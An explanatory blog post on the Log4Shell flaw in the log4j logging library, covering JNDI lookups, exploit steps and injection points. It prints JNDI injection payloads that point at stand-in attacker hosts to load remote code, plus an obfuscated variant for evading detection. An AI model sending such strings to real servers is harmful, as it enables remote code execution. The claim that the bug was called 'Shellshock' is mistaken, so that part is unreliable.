Log4Shell: An Overview
Log4Shell is a critical vulnerability that is affecting a java logging package log4j. It results in Remote Code Execution (RCE), by logging a certain string and was identified on December 9th, 2021. This vulnerability affected a significant amount of software including Apache, Apple, Mine-craft, and many more. Many security researchers named it ‘Shellshock’ by the nature of its enormous attack surface.
Overview:
- Log4Shell isn’t a new vulnerability, it is basically a java JNDI injection. In 2016, research was presented at BlackHat by Alvaro Munoz & Oleksandr Mirosh about JNDI and especially LDAP and RMI features.
- Log4j — A popular java logging library. To enhance its functionality from basic log formatting, Log4j added the feature lookups: map lookups, system properties lookups as well as JNDI (Java Naming and Directory Interface) lookups, and this JNDI lookup is the introduction to the log4shell vulnerability.
- JNDI — is an API that allows the java application to perform searches on objects based on their names. It supports several directory services like LDAP(Lightweight Directory Access Protocol), RMI(Java’s Remote Interface), DNS(Domain Name System), CORBA(Common Object Request Broker).
- Typically, a JNDI lookup would look like this: ${jndi: logging/context-name}
How does the vulnerability work?
The vulnerability allows the user to inject malicious text into log messages or log message parameters. The targeted server will then execute that exploit via JNDI.
For example, the attacker might craft a malicious server, creates an exploit, and stores it as an object such as ‘exploit.class’. Then the attacker inserts the payload(${jndi:ldap://attacker_machine_ip:portnumber/exploit.class}) to request paths or HTTP headers.
Exploit Requirements:
- A server with a vulnerable log4j version.
- An endpoint with any protocol (HTTP, TCP, etc), that allows an attacker to send the exploit string.
- A log statement that logs out the string from that request.
The string could be part of any portion of HTTP communication that would likely be logged, the string is formatted to reference the malicious server crafted by the attacker in the general format ${jndi:[protocol]://[remote server and code address]}.
There are a variety of forms being used to prevent detection of scanning or exploitation, including the use of nested strings (such as (${${::-j}${::-n}${::-d}${::-I}) ).
Exploit Steps:
- Data from the user gets sent to the server.
- Logs the data containing the malicious payload from the request ${jndi:ldap://attacker.com/a}, where attacker.com is an attacker-controlled server.
- The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via JNDI.
- This response contains a path to an exploit, a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class), which is injected into the server process.
- This injected payload triggers a second stage and allows an attacker to execute arbitrary code.
The simplest way to detect if a remote endpoint is vulnerable is to trigger a DNS query. The exploit will cause the vulnerable server to attempt to fetch some remote code.
Injection Points:
- Request Paths — GET /${jndi:ldap://attacker.com} HTTP/1.1
- HTTP Headers — The payloads can be injected in any HTTP headers like User-Agent, cookie, etc. All of them are valid injection points when conducting application testing.
References
About me:
Hello! I am Srujana Marpina, an undergrad at IIIT Allahabad and a tech enthusiast. Reach out to me on LinkedIn.
